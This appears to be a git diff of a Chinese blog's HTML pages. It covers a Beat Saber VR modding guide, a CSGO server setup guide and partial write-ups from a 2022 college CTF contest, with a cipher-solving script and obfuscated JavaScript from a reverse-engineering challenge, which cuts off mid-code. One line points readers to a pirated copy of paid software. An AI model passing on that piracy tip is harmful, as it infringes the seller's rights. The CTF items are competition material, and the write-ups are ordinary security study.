我端午的时候,去了一趟SMU,然后从别人那里捞了一台Pico Neo 3回来玩,VR这个东西我一直是很粉的,自从高一那一年第一次玩就戒不掉了。既然捞到了一台PICO,那肯定要玩起来的嘛

+

游玩VR游戏之前,请把手柄的手绳戴好,要是手柄甩出去了那就尴尬了撒

+

串流相关请阅读 -> 串流方法

+

Beat Saber 踩坑记录

买游戏、安装游戏

这个用过Steam的应该都懂吧,直接访问Beat Saber的产品页面,然后花90大洋(阿根廷人和土耳其人可能会便宜点)购买游戏就是了

+ + +

安装的话,如果你不需要安装Mod就直接安装就是了,如果你需要装mod,那么请往下看

+

MOD相关

安装特定版本的Beat Saber

因为最新版的BS还没有Mod适配,所以我们要装回旧版本

+

这里有两种方法,第一种是来自于知乎某大佬的方法,稍微繁琐一点,但是通用,请去他的帖子看 -> 【游戏教程】Beat Saber 安装mod并实现换角色模型与设置相机位置 - 知乎 (zhihu.com)

+

这里我讲一下第二种方法,也是近期出现的方法

+

Oculus工作室这边因为升级了Unity的版本,所以他们把旧版本Unity打造的BS归档成了一个测试版,这个测试版的版本号是1.29.1,这个版本的mod是有适配的,所以我们可以直接安装这个版本

+

+

+

右键你的Beat Saber,选择属性 -> 测试版,在参与测试里面选到legacy1.29.1_unity_ver2019.4.28f1 - pre unity upgrade build这一项,然后直接关闭这个窗口就行了

+

接着按照正常的流程安装Beat Saber,你会看到你的库存里Beat Saber的后面有个中括号[]写着当前参与的测试

+

+

装好了以后,先打开一次游戏,让BS初始化一下,然后再进入安装MOD的阶段

+

安装MOD

首先,你得去BS中文站下一个ModAssistant,当然你要是喜欢用国外源或者是肉身出国了,你也可以去Github下载

+

BS中文站的ModAssistant是经过了修改的,增加了两个国内源 一键直达

+

我就直接用BS中文站的那个了,下载后打开是像下面这样的

+

+

在左下角那里先切换一下自己的下载源,换好了以后先阅读一下首页的内容,阅读后点同意(不同意的可以我的网页了,不同意咋装mod)

+

下面提示可以安装mod后,就可以点击左边的mod标签卡了,在里面选择自己喜欢的mod装上(注意左下角的游戏版本是否正确识别了)

+

额外配置项

点击ModAssistant左边的选项,设置一下OneClick安装,如果你想手动安装也可以,请阅读BS中文站的指引

+

+

安装光剑/人物模型

你需要去ModelSaber网站去找到自己喜欢的东西,然后直接点一键安装就行了,也可以下载了手动安装 ModelSaber

+

添加歌曲谱面

你需要去BeatSaver.com这个地方去找到自己喜欢的谱面,然后安装

+
有没有更方便的方式?

有,就像我们使用网易云的过程中,网易云有歌单的概念,BS里面也有这个概念,在BeatSaver.com有别人整理好的歌单,当然,BS中文站也有,你可以在这里找到Beat Saber曲包资源同步 - ResilioSync (wgzeyu.com)

+

在VR里面看桌面窗口

这个功能应该是直播用的比较多,这里会用到一个Steam上的软件叫做OVR Toolkit(国区售价41RMB,不想买就去三大妈下一个)

+ + +

安装好了后在SteamVR启动之前启动这个东西,就能在SteamVR里面看到它的设置了,在你的左手手腕上(相当于一个手表)

+

按下扳机键就相当于点一下,建议按照里面的指引进行设置,设置的效果是这样的

+

+

当然因为我直播的时候是捕获的Beat Saber窗口,所以观众是看不到我这三个窗口的

+

OVR的优先级高于VR游戏,也就是说在窗口叠加的时候,它会叠在最高层

+

+

串流相关

因为Pico不像Valve Index和Meta Quest那样可以直接用SteamVR,所以我们要先下载Pico官方的串流助手

+

PICO Link Windows 软件 | PICO中国 (picoxr.com)

+

我是直接下载了跟Pico 4一起的那个版本(事实证明如果Neo 3下错了版本的话会爆音,虽然到最后我都没有解决音频问题)

+

+

下载好了安装就是了,然后打开就是像我这样的东西

+

+

根据自己的需要选择串流的方式就行了(个人观点:优先有线连接),在头显里面要打开串流助手去连接(注:PICO内置截图出来的图片不清晰,凑合着看吧)

+

+

连接好了会自动打开SteamVR,然后就会看到经典的SteamVR空间(性能面板是PICO的)

+

+

到这里,你已经完成串流的连接啦!

+
+

题外话

Pico Neo 3确实像网上说的有手柄漂移,有的时候打着打着手柄飘了就很难受。另外,平时不运动的人最好一开始别玩太猛,要不然你可能会受到腰酸背痛连续要几天的侵蚀,着实很难受。

+
Author: GamerNoTitle
Link: https://bili33.top/posts/BeatSaber-Noob/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/CSGO-Anti-LowViolence/index.html b/posts/CSGO-Anti-LowViolence/index.html new file mode 100644 index 0000000000..e4690f69c2 --- /dev/null +++ b/posts/CSGO-Anti-LowViolence/index.html @@ -0,0 +1,294 @@ +CSGO国服反和谐教程 | GamerNoTitle + + + + + + + + + + + + + + + + +

CSGO国服反和谐教程

其实这个东西非常简单,稍微翻一下文件就可以发现完美的操作了

+

先打开Steam,右键CSGO,选择属性,在左边的本地文件里面选择浏览

+

+

这会打开你的CSGO游戏文件夹,打开csgo文件夹,稍微翻一下就可以发现开头为pakxv的几个文件,有很明显的audiochinese perfectworld lowviolence字样,把它们删了就好了

+

+
+

注:每次CSGO更新都要进行这个操作!

+
+

+

+
Author: GamerNoTitle
Link: https://bili33.top/posts/CSGO-Anti-LowViolence/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
avatar
GamerNoTitle
是大学生,也是个人开发者,在CTF领域学习中
Follow Me
Announcement

本站使用哔哩CDN进行加速

+
\ No newline at end of file diff --git a/posts/CSGO-Server/index.html b/posts/CSGO-Server/index.html new file mode 100644 index 0000000000..1e4488feae --- /dev/null +++ b/posts/CSGO-Server/index.html @@ -0,0 +1,481 @@ +CSGO服务器架设指南 | GamerNoTitle + + + + + + + + + + + + + + + + +

CSGO服务器架设指南

“GOGOGO”最近我身边的小伙伴们都拉我打CSGO,还想打内战……然后就让我架设一个社区服务器。讲真,架设社区服务器的坑挺多的,我会在文中尽量把我架设服务器的过程给叙述完整,帮助你们,同样也帮助我在我忘记的时候回想起来

+

废话不多说,让我们开始吧(干货警告)

+
+

你需要准备:

一台有公网IP的服务器

+

一个Steam账号(无任何的VAC记录,没有社区违规记录)

+

我这里使用的是阿里云的轻量应用服务器(Ubuntu 18.04 LTS),如果你也想使用阿里云,但是没有阿里云账号,可以到下边的这个链接进行注册(顺带帮我填一下邀请码秋梨膏)

+

https://www.aliyun.com/minisite/goods?userCode=05u8nbft

+

然后可以到阿里云云翼计划购买轻量应用服务器(下面的云服务器ECS),亲测一个服务器10个人带的动没啥问题

+
+ +

Linux搭建方法

Steamcmd下载

首先,你需要下载Steamcmd,这是一个Steam的官方软件,关于它的详细信息,你可以在这里找到(V社官方WIKI,无需梯子)

+
自动安装

如果你的服务器是64位的Linux系统,你需要运行以下命令安装32位的运行库

+
1
2
3
4
$ sudo add-apt-repository multiverse
$ sudo dpkg --add-architecture i386
$ sudo apt update
$ sudo apt install lib32gcc1 steamcmd
+ +

然后就可以直接使用

+
1
$ apt install steamcmd	# Ubuntu用户
+ +

或者

+
1
$ yum install steamcmd # CentOS用户
+ +

来安装Steamcmd,如果你更新了yum库或者apt库仍然提示未找到steamcmd包,那么你可以使用手动安装的方法

+
手动安装

手动安装就是自己从V社的官方服务器中获取可执行文件,当然在这之前,你还是需要安装32位的运行环境

+
    +
  • Ubuntu

    +
    1
    $ sudo apt-get install lib32gcc1
    +
  • +
  • CentOS X86

    +
    1
    $ yum install glibc libstdc++
    + +
  • +
  • CentOS X64

    +
    1
    $ yum install glibc.i686 libstdc++.i686
  • +
+

安装完运行库后,我们需要下载steam官方的软件包

+
1
$ curl -sqL "https://steamcdn-a.akamaihd.net/client/installer/steamcmd_linux.tar.gz" | tar zxvf -
+ +

使用上面这一条命令下载软件包,解压后应该有个steamcmd.sh和一个文件夹。我们直接运行steamcmd.sh

+
1
$ bash steamcmd.sh
+ +

然后它会进入更新状态,就像是你平常打开Steam的那个小白窗

+

Steam更新小白窗

+

等它最后显示为Steam>并且是输入状态的时候,它就完成了更新。至此,你就完成了Steamcmd的安装

+

按照steam官方的意思,他们不推荐使用root账户来运行steamcmd(我也不知道为什么),然而我实际上用root账户开下来也没有什么不妥的地方,所以是否使用root账户取决于你们自己吧

+

CSGO服务器安装

在这之前,请确保你的服务器装得下CSGO的所有文件,服务端的大小跟客户端没差多少,请确定你的服务器有那么多的空间!!!

+

我们在Steamcmd里面输入login anonymous来进行匿名登录

+
1
$ Steam>login anonymous
+ +

当然你也可以使用你自己的账号登录

+
1
$ Steam>login :Steam_Account :Password :Steam_Guard
+ +

其中,:Steam_Account是你的Steam登录名,:Password是你的密码,:Steam_Guard是你的Steam令牌,如果你是使用邮箱令牌的,那你可以不加上令牌,先发出登录请求,等Steam执行了登录以后会让你输入你的邮箱验证码的

+

登录完成后,我们的Steamcmd就正式接入了Steam网络了。我们需要安装CSGO服务器

+
1
$ Steam>app_update 740 validate
+ +

用上面的命令来安装CSGO服务器,740是CSGO服务器这款应用在Steam的注册ID,validate是文件验证,初次安装需要进行文件验证,以后升级可以直接使用

+
1
$ Steam>app_update 740
+ +

来进行升级。如果你的服务器不够空间,会给你报错,你可以先退出Steamcmd,在linux的命令行中使用

+
1
$ df -h
+ +

来查看你的空间是否足够,一般来说需要查看最右边Mounted on/这一个目录的剩余,Avail就是这个目录剩余的空间。

+

当你输入命令安装CSGO服务器后,Steamcmd会进入安装状态等到最后提示Successfully installed即为安装完成,你的CSGO已经被安装在了./steamapps/common/Counter-Strike Global Offensive Beta - Dedicated Server里面了

+

如果你觉得它太长了,你可以使用

+
1
$ Steam>force_install_dir :dir
+ +

来安装到你觉得合适的地方,请将:dir换成你要的目录,并且在app_update前执行!

+

配置服务器

安装完了以后,我们就要进行服务器的配置。CSGO服务器默认的配置很令人头疼的:竞技模式、TK开启、TK惩罚等等等等,各种不方便的东西都有。我们需要修改服务器的配置

+

CSGO也给我们提供了很方便的方法修改服务器,我们可以使用一个文件进行修改。

+

我们在CSGO服务器目录下的./csgo/cfg文件夹中新建一个文件叫做server.cfg,然后在这里面修改我们需要的配置。我先贴出我的配置

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
rcon_password "" // OP 密码
// "" 表示没有
hostname "服务器"
// 服务器名称
sv_region 255 // 服务器所在区域注册参数
// 255=全球
// 0=美国东部
// 1=美国西部
// 2=南美洲
// 3=欧洲
// 4=亚洲
// 5=澳洲
// 6=中东
// 7=非洲
sv_rcon_minfailures 3
// 允许输入OP密码 错误次数下限 // 达到下限则封禁对方的IP
sv_rcon_banpenalty 5
// 封禁的时限 单位 分钟
// 0=永久
sv_maxupdaterate 100
// 服务器每秒更新最大频率
// 根据实际网络状况调节
// sv_maxrate / 300 = 要设的值 // 默认=30
// 局域网=101
sv_minupdaterate 40
// 服务器每秒更新最小频率
sv_unlag 1
// 玩家延时补偿
// 0=关闭
// 1=开启(默认)
sv_maxunlag 0.5 // 延时补偿最大值默认 0.5 // 0.5=500毫秒(默认)
sv_voiceenable 1 // 服务器是否允许麦克风语音通讯 // 0=禁止
// 1=允许(默认)
sv_unlagsamples 1 // 延时补偿数据包平均采样数量 // 默认=1
sv_unlagpush 0 // 服务器推进延时补偿
// 0=关闭(默认)
// 1=开启
mp_autokick 0 // 自动踢除不动的玩家
// 0=关闭(比赛默认)
// 1=开启
mp_autocrosshair 0 // 自动瞄准
// 0=关闭(默认)
// 1=开启
mp_autoteambalance 0
// 自动平衡双方人数
// 0=关闭(比赛默认)
// 1=开启
mp_buytime 0.25 // 每回合购买武器装备时间单位分钟 // 比赛默认=0.25
mp_consistency 1 // 防止某些模型被更改
// 0=关闭
// 1=开启(默认)
mp_c4timer 35 // C4爆炸倒计时单位秒
// 比赛默认=35
mp_decals 300 // 墙壁上的血花弹孔贴图细节数据传送(200-300)
mp_falldamage 1 // 高处落下伤害
// 0=关闭
// 1=开启(默认)
mp_fadetoblack 0 // 死后黑屏
// 0=关闭(默认)
// 1=开启
mp_flashlight 1 // 手电筒
// 0=禁止
// 1=允许(默认)
mp_forcechasecam 2 // 死后跟随
// 0=所有玩家
// 1=仅队友
// 2=仅队友,主视角(比赛默认)
mp_forcecamera 2 // 死后视角选择
// 0=全部视角
// 1=仅队友,全部视角
// 2=仅队友,主视角(比赛默认)
mp_footsteps 1 // 脚步声
// 0=关闭
// 1=开启(默认)
mp_fraglimit 0 //杀人数上限(1~n),超过上限就换地图 // 0=关闭(默认)
mp_freezetime 8 // 每回合开始冻结时间单位秒
mp_friendlyfire 1 // 友军伤害
// 0=关闭(默认)
// 1=开启
mp_friendly_grenade_damage 1
// 友军手雷伤害
// 0=关闭
// 1=开启
mp_hostagepenalty 0 // 惩罚人质杀手
// 0=不惩罚(默认)
// 1~N=人质被杀数量,超过则踢出该玩家
mp_limitteams 0 // 两队人数差异上限
// 超过此上限,新玩家只能当观察员 // 比赛默认=10
sv_logbans 1
// 服务器日志里记录Ban掉玩家的内容 // 0=不记录
// 1=记录
mp_logecho 0 // 将服务器日志反馈到控制台 // 0=关闭
// 1=开启
mp_logdetail 3 // 服务器日志里记录攻击信息 // 0=不记录任何信息
// 1=记录敌人攻击
// 2=记录队友攻击
// 3=记录所有攻击
mp_logfile 1 // 服务器记录日志为文件 // 0=不记录
// 1=记录
mp_logmessages 1 // 服务器日志里记录谈话内容 // 0=不记录
// 1=记录
mp_maxrounds 30 // 回合上限,达到此上限,自动重新载入新地图
// 0=无回合上限(默认)
mp_playerid 0 // 当准星指向敌人或队友时,显示他们的名字
// 0=显示所有人(比赛默认)
// 1=仅显示队友
// 2=不显示
mp_roundtime 2
// 每回合时限单位分钟
mp_timelimit 0
// 地图最大时限,达此时限,自动重新载入新地图
// 0=无时限
mp_tkpunish 0
// 惩罚队友杀手
// 0=关闭(默认)
// 1=开启
mp_startmoney 800 // 第一回合开始金钱(800~16000) // 加时赛=10000
mp_winlimit 0
// 一方最大胜利回合数,达到此数量,自动重新载入新地图
// 0=无限制(默认)
sv_aim 0
// 自动瞄准
// 0=关闭(默认)
// 1=开启
sv_airaccelerate 10 // 玩家在空中移动的速度
// 默认=10
sv_airmove 1 // 在空中移动&转向
// 0=禁止
// 1=允许(默认)
sv_allowdownload 1
// 客户端下载服务器资源 // 0=禁止
// 1=允许(默认)
sv_allowupload 1
// 客户端上传自己的喷图 // 0=禁止
// 1=允许(默认)
sv_alltalk 1 // 警匪通话
// 0=禁止(默认)
// 1=允许
sv_proxies 1 // HLTV代理
// 0=禁止
// 1=允许(默认)
sv_cheats 0 // 作弊模式
// 0=关闭(默认)
// 1=开启
sv_clienttrace 1.0 // 客户端模型的范围框的尺寸
// 默认 1.0
sv_clipmode 0
// 锁定客户端快速模式
// 0=关闭(默认)
// 1=开启
sv_friction 4
// 地面摩擦力默认 4
// 数值越低,摩擦越小
sv_gravity 800 // 重力默认 800
sv_maxrate 20000 // 服务器最大传输速率<0-25000> // (服务器上传带宽 x 125) /服务器设定的最大人数 = 要设的值
// 0=无限制
// 局域网=25000
sv_maxspeed 320 // 客户端最大移动速度
sv_minrate 0
// 服务器最小传输速率<0-25000> // 0=无限制
sv_send_logos 1 // 客户端相互之间传送喷图
// 0=禁止
// 1=允许(同时确保sv_allowdownload键值为1)
sv_sendvelocity 0
// 服务器混合物理运算,适用于较好配置的服务器 // 0=关闭
// 1=开启
sv_send_resources 1
// 自动向客户端传送地图关联的*.res文件里包括的资源文件 // 0=关闭
// 1=开启(同时确保sv_allowdownload为1)
sv_stepsize 18
// 玩家的步伐距离
// 默认 18
sv_stopspeed 75
// 玩家停止移动时的速度默认 75
sv_timeout 65
// 客户端连接服务器超时的时限,达到时限则断开连接
sv_voicecodec voice_speex // 语音通话解码
// voice_miles是HL引擎长期以来用的语音解码(默认),占用带宽较大,为32kbps
// voice_speex是Valve新加入的解码,优于voice_miles,占用带宽较少,为2.4kbps至15.2kbps
sv_voicequality 5
// 客户端语音通话质量(确保sv_voicecodec voice_speex)
// 1=非常差...........占用带宽 2.4 kbps // 2=差...............占用带宽 6.0 kbps // 3=中等.............占用带宽 8.0 kbps // 4=好...............占用带宽 11.2 kbps // 5=非常清晰.........占用带宽 15.2 kbps
allow_spectators 1
// 观察员模式
// 0=禁止
// 1=允许
decalfrequency 30
// 玩家喷图的时间间隔单位秒
edgefriction 2
// 玩家与玩家、墙壁、物体之间的摩擦
// 默认 2
host_framerate 0
// 与Demo录制有关
// 0<N<1 为慢录
// n=0 为正常(默认)
// n>1 为快录
log on
// 开始记录日志
pausable 1
// 客户端暂停游戏
// 0=禁止
// 1=允许
// Steam社区服务器验证
sv_setsteamaccount xxx
// 模式参数
game_mode 1
game_type 0
mapcyclefile mapcycle.txt
// 地图循环列表所在的.txt文件
// *.txt = cstrike\*.txt文件
// Use this file to configure your DEDICATED server. // This config file is executed on server start.
// load ban files
exec listip.cfg
exec banned.cfg
+ +

其中很多内容我都注释好了,其实这个配置文件也是我从网上找来然后进行修改得出的。其中有几个比较重要的参数:

+

rcon_password管理员密码,在控制台可以输入密码使用管理员权限,就不需要在后台使用指令

+

hostname服务器名称,记得一定要修改,之前翻社区服务器的时候发现很多没修改的都是写着Counter-Strike Global Offensive的

+

sv_password玩家加入需要的密码,填入了就会加密你的服务器,只有输入正确的密码才能够进入

+

sv_setsteamaccount社区服注册秘钥,这个一会会说

+

调整完了你的配置文件,将文件命名为server.cfg,然后放入上面所说的那个./csgo/cfg文件夹中即可

+

接着我们就可以着手开启服务器了

+

开启服务器

关于服务器的开启,根据Steam的官方文档,我们需要安装一个叫做screen的包,使用

+
1
$ yum install screen
+ +

或者

+
1
$ apt-get install screen
+ +

来安装,然后我们就进入到CSGO服务器文件夹的根目录,也就是./steamapps/common/Counter-Strike Global Offensive Beta - Dedicated Server里面,使用

+
1
$ screen ./srcds_run
+ +

就可以开启服务器了,当然后面可以跟一些参数,例如我想关闭VAC验证(避免VAC无法验证您的回话出现而无法加入服务器),那我就在后面加上-insecure即可;或者说我想更改模式,我就可以使用+game_mode 1 +game_type 0来进入竞技模式。

+

等到最后一行提示GC Connection established for server version xxxx, instance idx 1的时候就是开完了(xxxx是版本号)

+

根据CSDN@Summer.LICY的反馈,启动时可能会出现Failed to open dedicated.so (libstdc++.so.6: cannot open shared object file: No such file or directory)的情况,这种情况下我们需要使用

+
1
$ apt-get install libstdc++.so.6
+ +

或者

+
1
$ yum install libstdc++.so.6
+ +

来安装这个依赖库

+
+ +

关于模式,这里有一份较详细的表格(来源:Steam Developers官网)

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Game Mode + game_type + game_mode +
Casual (default) + 0 + 0 +
Competitive / Scrimmage + 0 + 1 +
Wingman + 0 + 2 +
Arms Race + 1 + 0 +
Demolition + 1 + 1 +
Deathmatch + 1 + 2 +
Custom + 3 + any (?) +
Guardian + 4 + 0 +
Co-op Strike + 4 + 1 +
Danger Zone + 6 + 0 +
+ +

注册服务器

当你直接开启服务器后,用connect ip:27015进行连接会提示:仅限局域网连接,这就是没有注册服务器到社区服务器造成的结果。这就需要用到我刚刚所说的sv_setsteamaccount这个配置。

+

我们访问Steam 社区 :: Steam 游戏服务器帐户管理这个链接,在这里登陆你的Steam账号(一定要没有VAC记录和社区违规记录!!!否则会无法注册)

+

官方Steam账号要求

+ +

然后我们在下面的APPID里面填入730,备忘录按照自己喜好填,主要是用来区分不同的秘钥使用

+

CSGO社区服务器注册

+

然后将获得的秘钥放入sv_setsteamaccount内即可,接着启动服务器,连接服务器,发现是不是可以连接了?

+

Windows搭建方法

其实Windows除了Steamcmd的安装跟linux不一样,其他都是一样的。Windows版的Steamcmd可以在这里下载https://steamcdn-a.akamaihd.net/client/installer/steamcmd.zip

+

下载完后解压,通过命令行运行steamcmd,其余的方法都跟linux一样,可以从CSGO服务器安装开始看

+
+

题外话

我打CSGO是真的菜,讲真……而且CSGO开箱真的开不起,我还是做一名咸鱼玩家吧

+

不过话说回来我CSGO有狗牌(忠诚徽章)耶,应该是我唯一能炫耀的东西惹……

+

辣鸡腾讯,QQ里面拦截我的网站,申诉还说我有恶意信息……一会加客服QQ问

+
Author: GamerNoTitle
Link: https://bili33.top/posts/CSGO-Server/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/CTF-20220529/index.html b/posts/CTF-20220529/index.html new file mode 100644 index 0000000000..0bf82f4517 --- /dev/null +++ b/posts/CTF-20220529/index.html @@ -0,0 +1,298 @@ +2022年全国大学生信息安全竞赛创新实践能力赛初赛 —— 部分WriteUp | GamerNoTitle + + + + + + + + + + + + + + + +

2022年全国大学生信息安全竞赛创新实践能力赛初赛 —— 部分WriteUp

前言

因为今年第一年参加,其实啥也不会,所以就把做出来的题放出来吧

+

签到电台

题目内容

题目内容:豪密,是中国共产党和中国工农红军第一本无线电通讯密码的简称,由周恩来同志亲自编制,以周恩来党内化名“伍豪”命名,它是我党建立机要工作最早也是保密性能最强的一种密码,从二十世纪三十年代到全国解放,都始终未被破译。春秋GAME伽玛实验室团队通过对豪密的加密模式进行分析,并参考已有的文献资料,仿制豪密的加密方法,制作成一道题目,谨以此题致敬情报战线的先辈们。

+

请点击“下发赛题”,让我们一起穿越百年,追寻红色通信足迹。(关注“春秋伽玛”公众号,回复“签到电台”获取解题提示)

+

+

思路

这题题目中其实没有太多的信息,主要是进去的那个网页里面有东西:一个标准电码表、一个密码本,然后附了一个参考资料

+

打开F12的开发者工具,然后按照要求点三下(即摩尔斯电码中的s),就抓到了请求的模板(这里手动的后面多了个J,但是实测不要J也可以)

+

+

即可以通过http://<域名>:<端口>/send?msg=<对应的英文字母>这样的格式,使用GET请求来发送信息

+

发送消息为”弼时安全到达了“,在密码本中直接Ctrl + F查找对应的字,得到对应的密码为1732 2514 1344 0356 0451 6671 0055,然后跟密码本的前28位进行模十运算(就是相加满十不进位),可以得到最终的密码为5527054196298395149957904073

+

最后访问http://<域名>:<端口>/send?msg=5527054196298395149957904073得到最终的flag{f52cc5ad-02b8-435c-b3e6-d6f907bb87a0}

+

附上我在做题的时候写的Python程序

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
codebook = '4895803783858049104891294028048877915993964884508701445170950472768818538157286879377568710737172419298890539211492159906706061553481596238704105315728289938582396161010201690117478415116408421577896895157832859368342230101663462972097373698261703992384839346255728696795365185881001654058108670883555430417806185446713801876774660320697572224607414161582051823332010943895369187926637133510089324514317205555123443145243388316267915082441584692640192647157276119645960280826103942635711642018106393519189267856807479524025909341'
# 密码本
front28 = list(codebook[:28])
# 前28位数字
secret = list('1732251413440356045166710055')
# 七个字对应的电码
result = []
for i in range(len(front28)):
result.append(str(int(front28[i])+int(secret[i]))[-1])

print(result)
res = ''
for i in result:
res += i
print(f'Msg decoded: {res}')
+ +

小插曲

在最后一小时黑灯搏杀开始以后有人打平台被封IP了呼呼呼

+

+
Author: GamerNoTitle
Link: https://bili33.top/posts/CTF-20220529/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/CTF-20220619/index.html b/posts/CTF-20220619/index.html new file mode 100644 index 0000000000..142f13eb5a --- /dev/null +++ b/posts/CTF-20220619/index.html @@ -0,0 +1,368 @@ +2022年全国大学生信息安全竞赛创新实践能力赛 —— 复赛WriteUp | GamerNoTitle + + + + + + + + + + + + + + + +

2022年全国大学生信息安全竞赛创新实践能力赛 —— 复赛WriteUp

+
+

已更新官方WriteUP 代码浏览 - 20220619-National - CTF赛事文件合集 - GamerNoTitle的团队 (coding.net)

+
+

Break部分

(好的,啥也不会)

+

Web

Try2ReadFlag

小明创建了一个测试站点,但是这个站点有什么用呢?

+

打开来是个网页,我没看出啥,不过我们队里搞Web的那位说是CSRF跨站攻击

+

+

joomla

建站勿用弱口令!

+

这个是个CMS框架,整不出,提示写着建站勿用弱口令!,但是我没爆破出来……

+

(忘记截图了)

+

EzRome

经过上次的战“疫”,你们已经对rome很了解了,现在他又带着新的waf卷土重来了。

+

这是一个WAF下的题目,还是不会嗯

+

EzLogin

登陆成功就有flag哟~

+

一开始以为是弱口令,等到进了fix环节才发现我好像忘记了robots.txt也可以访问,可以大致看到路径下有什么文件,fix环节在讲这个

+

+

PWN

小明的加密器

小明写了一个字符串加密器,但不知道效果如何,大家来测一测吧!

+

nc进去后是一个加密器,但是没整出来

+

weirdheap

A Little Weird

+

nc进去是一个程序,是一个建楼的背景

+
1
2
3
4
5
1. Build up
2. visit big house
3. construct
4. tear down
Ur choice:
+ +

chats_store

为什么我的og不能getshell啊?

+

nc进去是一个聊天备份程序,但是没整出来

+
1
2
3
4
5
6
+================================+
+ Emergency Chats Backup Program +
+============hope there's no vuln+
+1.store chats
+2.delete chats
+3.exit
+ +

printf_hhh

格式化字符串,hhh

+

nc进去是一个字符串的格式化软件,如果选择1会出来一串字符(忘记截图了),2的话就是打啥显示啥(echo服务)

+

REVERSE

ob!

ob而已!

+

这个用ida逆向一下,出来的是个JavaScript语言的内容

+

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
function _0x15f8(_0x1cdd90, _0x29a14a) {
var _0x55fe3f = _0x55fe();
return (
(_0x15f8 = function (_0x15f885, _0x2046fc) {
_0x15f885 = _0x15f885 - 0x139;
var _0x273cae = _0x55fe3f[_0x15f885];
return _0x273cae;
}),
_0x15f8(_0x1cdd90, _0x29a14a)
);
}
function _0x55fe() {
var _0x47407e = [
"1434380GTSaRX",
"split",
"sZuqf",
"toString",
"6092LqZrwr",
"charCodeAt",
"2298DprXBL",
"6108172ZkGjDt",
"1326TZBtUd",
"cdcMv",
"length",
"DASCTF{********************************}",
"log",
"8xppuAQ",
"reverse",
"LHAkM",
"3528396BuNtWV",
"gOHVz",
"5507440MXfrBq",
"esJvd",
"BZTwo",
"6940hAoqHl",
"1815832yyeHHB",
];
_0x55fe = function () {
return _0x47407e;
};
return _0x55fe();
}
(function (_0x1df8a4, _0x20dfb3) {
var _0x67a2d4 = _0x15f8,
_0xcc66c3 = _0x1df8a4();
while (!![]) {
try {
var _0x23a480 =
-parseInt(_0x67a2d4(0x13c)) / 0x1 +
(parseInt(_0x67a2d4(0x140)) / 0x2) *
(parseInt(_0x67a2d4(0x144)) / 0x3) +
parseInt(_0x67a2d4(0x13b)) / 0x4 +
(parseInt(_0x67a2d4(0x13a)) / 0x5) *
(-parseInt(_0x67a2d4(0x142)) / 0x6) +
parseInt(_0x67a2d4(0x143)) / 0x7 +
(parseInt(_0x67a2d4(0x149)) / 0x8) *
(-parseInt(_0x67a2d4(0x14c)) / 0x9) +
parseInt(_0x67a2d4(0x14e)) / 0xa;
if (_0x23a480 === _0x20dfb3) break;
else _0xcc66c3["push"](_0xcc66c3["shift"]());
} catch (_0x55dcb3) {
_0xcc66c3["push"](_0xcc66c3["shift"]());
}
}
})(_0x55fe, 0xd3542),
(function () {
var _0x36c6ff = _0x15f8,
_0x40f7fb = {
LHAkM: "2|3|5|1|0|4",
esJvd: _0x36c6ff(0x147),
BZTwo: function (_0x1d1e01, _0x12cacf) {
return _0x1d1e01 == _0x12cacf;
},
sZuqf: "congratulations!!",
cdcMv: function (_0x249d98, _0x2b4e20) {
return _0x249d98 < _0x2b4e20;
},
gOHVz: function (_0x14fc1c, _0x1ae2a0) {
return _0x14fc1c ^ _0x1ae2a0;
},
},
_0x344178 = _0x40f7fb[_0x36c6ff(0x14b)][_0x36c6ff(0x13d)]("|"),
_0x5c293c = 0x0;
while (!![]) {
switch (_0x344178[_0x5c293c++]) {
case "0":
console[_0x36c6ff(0x148)](encc);
continue;
case "1":
encc = _0x27361d[_0x36c6ff(0x14a)]();
continue;
case "2":
var _0x50fdde = _0x40f7fb[_0x36c6ff(0x14f)];
continue;
case "3":
var _0x27361d = new Array();
continue;
case "4":
_0x40f7fb[_0x36c6ff(0x139)](
encc[_0x36c6ff(0x13f)](),
[
0x5a, 0x47, 0x12, 0x17, 0x40, 0x14, 0x43, 0x45, 0x2b, 0x2c, 0x29,
0x29, 0x7d, 0x2b, 0x7d, 0x29, 0x74, 0x75, 0x20, 0x77, 0x20, 0x2b,
0x75, 0x27, 0x6b, 0x38, 0x38, 0x3c, 0x6f, 0x3e, 0x3d, 0x3e, 0x3f,
0x7d, 0x43, 0x50, 0x40, 0x51, 0x40, 0x44,
][_0x36c6ff(0x13f)]()
) && console["log"](_0x40f7fb[_0x36c6ff(0x13e)]);
debugger
continue;
case "5":
for (
i = 0x0;
